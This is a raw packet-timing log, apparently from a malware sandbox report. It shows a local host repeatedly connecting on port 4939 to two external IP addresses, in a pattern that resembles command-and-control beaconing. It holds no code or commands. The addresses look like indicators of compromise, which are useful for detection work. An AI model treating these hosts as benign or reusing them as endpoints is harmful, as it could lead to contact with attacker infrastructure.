Nov 28, 2022 20:48:45.922635078 CET	49906	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:45.968030930 CET	4939	49906	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:46.469225883 CET	49906	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:46.513638973 CET	4939	49906	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:47.016036987 CET	49906	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:47.061320066 CET	4939	49906	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:47.062458992 CET	49907	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:47.085202932 CET	4939	49907	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:47.594153881 CET	49907	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:47.614451885 CET	4939	49907	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:48.125125885 CET	49907	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:48.147378922 CET	4939	49907	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:48.656245947 CET	49907	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:48.678268909 CET	4939	49907	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:49.187536955 CET	49907	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:49.208163023 CET	4939	49907	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:50.219465971 CET	49908	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:50.263955116 CET	4939	49908	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:50.765412092 CET	49908	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:50.810095072 CET	4939	49908	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:51.312021971 CET	49908	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:51.360085011 CET	4939	49908	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:51.874409914 CET	49908	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:51.925918102 CET	4939	49908	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:52.436728001 CET	49908	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:52.480947018 CET	4939	49908	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:52.482106924 CET	49909	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:52.504080057 CET	4939	49909	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:53.014712095 CET	49909	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:53.033906937 CET	4939	49909	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:53.545922041 CET	49909	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:53.565093040 CET	4939	49909	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:54.076987982 CET	49909	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:54.095907927 CET	4939	49909	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:54.608273029 CET	49909	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:54.627412081 CET	4939	49909	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:55.639879942 CET	49911	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:55.684478045 CET	4939	49911	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:56.185833931 CET	49911	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:56.230442047 CET	4939	49911	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:56.732641935 CET	49911	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:56.777365923 CET	4939	49911	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:57.279495001 CET	49911	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:57.324371099 CET	4939	49911	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:57.826195955 CET	49911	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:57.871103048 CET	4939	49911	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:57.872791052 CET	49912	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:57.891832113 CET	4939	49912	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:58.404381037 CET	49912	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:58.425378084 CET	4939	49912	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:58.935283899 CET	49912	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:58.955916882 CET	4939	49912	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:59.466403961 CET	49912	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:59.487011909 CET	4939	49912	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:59.997694016 CET	49912	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:00.018661022 CET	4939	49912	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:01.029628992 CET	49913	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:01.074563026 CET	4939	49913	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:01.575315952 CET	49913	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:01.619906902 CET	4939	49913	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:02.122071028 CET	49913	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:02.166680098 CET	4939	49913	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:02.668853998 CET	49913	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:02.713200092 CET	4939	49913	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:03.215785027 CET	49913	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:03.260823965 CET	4939	49913	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:03.262120008 CET	49914	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:03.285476923 CET	4939	49914	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:03.793724060 CET	49914	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:03.816382885 CET	4939	49914	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:04.324902058 CET	49914	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:04.347029924 CET	4939	49914	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:04.855885983 CET	49914	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:04.876754999 CET	4939	49914	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:05.386986017 CET	49914	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:05.407608986 CET	4939	49914	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:06.419559002 CET	49915	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:06.464235067 CET	4939	49915	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:06.964891911 CET	49915	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:07.010282040 CET	4939	49915	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:07.511639118 CET	49915	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:07.556056023 CET	4939	49915	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:08.058418989 CET	49915	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:08.103480101 CET	4939	49915	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:08.605180979 CET	49915	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:08.649204016 CET	4939	49915	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:08.650264025 CET	49916	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:08.669193983 CET	4939	49916	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:09.183018923 CET	49916	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:09.203068018 CET	4939	49916	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:09.714262009 CET	49916	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:09.735696077 CET	4939	49916	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:10.245326996 CET	49916	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:10.266149044 CET	4939	49916	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:10.776571035 CET	49916	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:10.797363997 CET	4939	49916	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:11.808262110 CET	49917	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:11.852385998 CET	4939	49917	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:12.354243040 CET	49917	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:12.399280071 CET	4939	49917	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:12.901011944 CET	49917	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:12.945595026 CET	4939	49917	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:13.447911024 CET	49917	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:13.492773056 CET	4939	49917	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:13.994600058 CET	49917	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:14.039320946 CET	4939	49917	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:14.040487051 CET	49918	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:14.061095953 CET	4939	49918	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:14.572551012 CET	49918	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:14.592751980 CET	4939	49918	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:15.103629112 CET	49918	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:15.125073910 CET	4939	49918	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:15.634728909 CET	49918	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:15.656048059 CET	4939	49918	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:16.166006088 CET	49918	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:16.187129021 CET	4939	49918	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:17.199242115 CET	49919	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:17.243710995 CET	4939	49919	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:17.759383917 CET	49919	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:17.803802967 CET	4939	49919	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:18.306262016 CET	49919	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:18.350925922 CET	4939	49919	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:18.852960110 CET	49919	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:18.901479006 CET	4939	49919	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:19.415375948 CET	49919	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:19.460417032 CET	4939	49919	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:19.461724997 CET	49920	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:19.482353926 CET	4939	49920	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:19.993278980 CET	49920	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:20.012758017 CET	4939	49920	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:20.524363041 CET	49920	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:20.543732882 CET	4939	49920	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:21.055432081 CET	49920	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:21.074601889 CET	4939	49920	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:21.586591959 CET	49920	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:21.605277061 CET	4939	49920	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:22.618557930 CET	49921	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:22.662817955 CET	4939	49921	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:23.164541006 CET	49921	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:23.209640026 CET	4939	49921	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:23.711122990 CET	49921	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:23.755506992 CET	4939	49921	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:24.257885933 CET	49921	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:24.303384066 CET	4939	49921	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:24.804687023 CET	49921	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:24.849219084 CET	4939	49921	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:24.850265980 CET	49922	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:24.869266033 CET	4939	49922	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:25.382738113 CET	49922	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:25.404756069 CET	4939	49922	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:25.913893938 CET	49922	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:25.935758114 CET	4939	49922	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:26.444983959 CET	49922	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:26.467298031 CET	4939	49922	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:26.976069927 CET	49922	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:26.997289896 CET	4939	49922	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:28.007853031 CET	49924	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:28.053534031 CET	4939	49924	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:28.553915024 CET	49924	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:28.598810911 CET	4939	49924	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:29.100604057 CET	49924	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:29.145085096 CET	4939	49924	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:29.647375107 CET	49924	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:29.691946983 CET	4939	49924	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:30.194133043 CET	49924	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:30.243412018 CET	4939	49924	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:30.246011972 CET	49925	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:30.265369892 CET	4939	49925	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:30.772212982 CET	49925	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:30.791274071 CET	4939	49925	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:31.303335905 CET	49925	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:31.323162079 CET	4939	49925	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:31.834429979 CET	49925	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:31.853838921 CET	4939	49925	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:32.365535975 CET	49925	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:32.384445906 CET	4939	49925	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:33.511779070 CET	49926	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:33.556070089 CET	4939	49926	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:34.068234921 CET	49926	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:34.112371922 CET	4939	49926	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:34.615225077 CET	49926	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:34.660207033 CET	4939	49926	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:35.161962986 CET	49926	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:35.206669092 CET	4939	49926	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:35.708559990 CET	49926	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:35.753673077 CET	4939	49926	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:35.767137051 CET	49927	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:35.786232948 CET	4939	49927	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:36.302079916 CET	49927	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:36.321110010 CET	4939	49927	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:36.833436012 CET	49927	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:36.852497101 CET	4939	49927	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:37.364420891 CET	49927	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:37.383316040 CET	4939	49927	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:37.895683050 CET	49927	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:37.914895058 CET	4939	49927	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:38.927505016 CET	49928	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:38.972290039 CET	4939	49928	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:39.473413944 CET	49928	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:39.518111944 CET	4939	49928	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:40.020086050 CET	49928	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:40.064331055 CET	4939	49928	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:40.566920042 CET	49928	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:40.611305952 CET	4939	49928	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:41.113593102 CET	49928	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:41.158165932 CET	4939	49928	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:41.159379005 CET	49929	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:41.179682016 CET	4939	49929	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:41.691557884 CET	49929	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:41.711271048 CET	4939	49929	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:42.222687006 CET	49929	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:46.237421989 CET	49929	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:46.257066011 CET	4939	49929	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:46.768526077 CET	49929	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:46.790123940 CET	4939	49929	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:47.800602913 CET	49930	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:47.844737053 CET	4939	49930	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:48.346364021 CET	49930	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:48.390841007 CET	4939	49930	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:48.893126965 CET	49930	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:48.937777996 CET	4939	49930	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:49.439883947 CET	49930	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:49.484450102 CET	4939	49930	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:49.986690998 CET	49930	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:50.031104088 CET	4939	49930	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:50.032401085 CET	49931	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:50.052095890 CET	4939	49931	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:50.564738989 CET	49931	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:50.585882902 CET	4939	49931	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:51.095818043 CET	49931	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:51.115375996 CET	4939	49931	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:51.627023935 CET	49931	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:51.646265030 CET	4939	49931	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:52.158198118 CET	49931	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:52.179030895 CET	4939	49931	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:53.190036058 CET	49932	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:53.234358072 CET	4939	49932	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:53.735891104 CET	49932	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:53.780347109 CET	4939	49932	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:54.282871962 CET	49932	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:54.328617096 CET	4939	49932	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:54.829437971 CET	49932	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:54.874154091 CET	4939	49932	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:55.376199007 CET	49932	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:55.421633005 CET	4939	49932	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:55.422882080 CET	49933	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:55.443938971 CET	4939	49933	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:55.954344988 CET	49933	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:55.974808931 CET	4939	49933	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:56.485197067 CET	49933	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:56.505804062 CET	4939	49933	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:57.016380072 CET	49933	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:57.040031910 CET	4939	49933	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:57.547489882 CET	49933	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:49:57.566613913 CET	4939	49933	37.0.14.209	192.168.11.20
Nov 28, 2022 20:49:58.579364061 CET	49935	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:58.624211073 CET	4939	49935	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:59.125323057 CET	49935	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:59.170111895 CET	4939	49935	84.38.134.104	192.168.11.20
Nov 28, 2022 20:49:59.672166109 CET	49935	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:49:59.717586994 CET	4939	49935	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:00.218867064 CET	49935	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:00.263649940 CET	4939	49935	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:00.765746117 CET	49935	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:00.811209917 CET	4939	49935	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:00.812546968 CET	49936	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:00.835141897 CET	4939	49936	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:01.343710899 CET	49936	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:01.366961002 CET	4939	49936	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:01.874691010 CET	49936	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:01.894517899 CET	4939	49936	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:02.405852079 CET	49936	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:02.427205086 CET	4939	49936	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:02.937235117 CET	49936	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:02.967905045 CET	4939	49936	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:03.984492064 CET	49937	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:04.030663967 CET	4939	49937	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:04.546061039 CET	49937	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:04.590897083 CET	4939	49937	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:05.092693090 CET	49937	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:05.137099028 CET	4939	49937	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:05.639516115 CET	49937	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:05.683938026 CET	4939	49937	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:06.186398983 CET	49937	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:06.231143951 CET	4939	49937	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:06.232455015 CET	49938	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:06.255276918 CET	4939	49938	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:06.764472961 CET	49938	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:06.784630060 CET	4939	49938	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:07.295557022 CET	49938	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:07.315784931 CET	4939	49938	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:07.826556921 CET	49938	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:07.846637011 CET	4939	49938	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:08.357661963 CET	49938	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:08.376418114 CET	4939	49938	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:09.389847994 CET	49939	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:09.434530020 CET	4939	49939	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:09.935491085 CET	49939	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:09.980297089 CET	4939	49939	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:10.482280016 CET	49939	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:10.527234077 CET	4939	49939	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:11.029066086 CET	49939	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:11.084918976 CET	4939	49939	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:11.591351986 CET	49939	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:11.636101007 CET	4939	49939	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:11.637264013 CET	49940	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:11.657979965 CET	4939	49940	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:12.169260979 CET	49940	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:12.189038038 CET	4939	49940	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:12.700588942 CET	49940	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:12.720259905 CET	4939	49940	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:13.231595993 CET	49940	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:13.250422001 CET	4939	49940	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:13.762871027 CET	49940	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:13.782036066 CET	4939	49940	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:14.794507980 CET	49941	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:14.838891983 CET	4939	49941	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:15.340548038 CET	49941	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:15.384830952 CET	4939	49941	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:15.887288094 CET	49941	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:15.931449890 CET	4939	49941	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:16.434047937 CET	49941	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:16.478996038 CET	4939	49941	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:16.980832100 CET	49941	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:17.025473118 CET	4939	49941	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:17.026731014 CET	49942	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:17.046092987 CET	4939	49942	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:17.558907032 CET	49942	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:17.578541040 CET	4939	49942	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:18.089915991 CET	49942	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:18.109409094 CET	4939	49942	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:18.621078968 CET	49942	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:18.640245914 CET	4939	49942	37.0.14.209	192.168.11.20
